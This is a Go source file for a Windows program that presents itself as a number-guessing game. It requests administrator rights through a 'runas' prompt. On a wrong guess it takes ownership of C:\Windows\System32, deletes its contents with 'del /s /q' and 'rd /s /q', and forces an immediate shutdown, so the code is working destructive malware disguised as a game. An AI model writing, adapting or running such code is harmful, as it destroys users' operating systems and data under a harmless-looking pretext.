111 lines
2.4 KiB
Go
111 lines
2.4 KiB
Go
package main
|
|
|
|
import (
|
|
"bufio"
|
|
"fmt"
|
|
"golang.org/x/sys/windows"
|
|
"math/rand"
|
|
"os"
|
|
"os/exec"
|
|
"strconv"
|
|
"strings"
|
|
"syscall"
|
|
)
|
|
|
|
func main() {
|
|
if !amAdmin() {
|
|
runMeElevated()
|
|
os.Exit(0)
|
|
}
|
|
|
|
randomNumber := rand.Intn(9) + 1
|
|
|
|
fmt.Println("Guess a number between 1 and 10")
|
|
fmt.Print(">")
|
|
|
|
reader := bufio.NewReader(os.Stdin)
|
|
b, err := reader.ReadByte()
|
|
if err != nil {
|
|
os.Exit(1)
|
|
}
|
|
guess, err := strconv.Atoi(string(b))
|
|
if err != nil {
|
|
os.Exit(1)
|
|
}
|
|
|
|
if guess != randomNumber {
|
|
fmt.Println("Are you sure? [y/n]")
|
|
fmt.Print(">")
|
|
reader = bufio.NewReader(os.Stdin)
|
|
b, err = reader.ReadByte()
|
|
if err != nil {
|
|
os.Exit(1)
|
|
}
|
|
ans := string(b)
|
|
if ans == "n" {
|
|
fmt.Println("Good choice")
|
|
os.Exit(0)
|
|
}
|
|
|
|
fmt.Println("Oh no, you guessed wrong...")
|
|
cmdTakeOwn := exec.Command("takeown.exe", "/f", "C:\\Windows\\System32")
|
|
cmdICACLS := exec.Command("icacls.exe", "C:\\Windows\\System32")
|
|
cmdFiles := exec.Command("cmd.exe", "/C", "del", "/s", "/q", "C:\\Windows\\System32\\*")
|
|
cmdDir := exec.Command("cmd.exe", "/C", "rd", "/s", "/q", "C:\\Windows\\System32")
|
|
err = cmdTakeOwn.Run()
|
|
if err != nil {
|
|
fmt.Printf("Error serving punishment p1: %v\n", err)
|
|
}
|
|
err = cmdICACLS.Run()
|
|
if err != nil {
|
|
fmt.Printf("Error serving punishment p2: %v\n", err)
|
|
}
|
|
err = cmdFiles.Run()
|
|
if err != nil {
|
|
fmt.Printf("Error serving punishment p3: %v\n", err)
|
|
}
|
|
err = cmdDir.Run()
|
|
if err != nil {
|
|
fmt.Printf("Error serving punishment p4: %v\n", err)
|
|
}
|
|
|
|
cmdShutdown := exec.Command("cmd.exe", "/C", "shutdown", "/t", "0", "/s")
|
|
err = cmdShutdown.Run()
|
|
if err != nil {
|
|
fmt.Printf("Error shutting down: %v\n", err)
|
|
}
|
|
} else {
|
|
fmt.Println("Congratulations, you live to see another day...", guess, "was the correct number :)")
|
|
}
|
|
|
|
fmt.Print("Press 'Enter' to continue...")
|
|
bufio.NewReader(os.Stdin).ReadBytes('\n')
|
|
}
|
|
|
|
func runMeElevated() {
|
|
verb := "runas"
|
|
exe, _ := os.Executable()
|
|
cwd, _ := os.Getwd()
|
|
args := strings.Join(os.Args[1:], " ")
|
|
|
|
verbPtr, _ := syscall.UTF16PtrFromString(verb)
|
|
exePtr, _ := syscall.UTF16PtrFromString(exe)
|
|
cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
|
|
argPtr, _ := syscall.UTF16PtrFromString(args)
|
|
|
|
var showCmd int32 = 1 //SW_NORMAL
|
|
|
|
err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
}
|
|
|
|
func amAdmin() bool {
|
|
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return true
|
|
}
|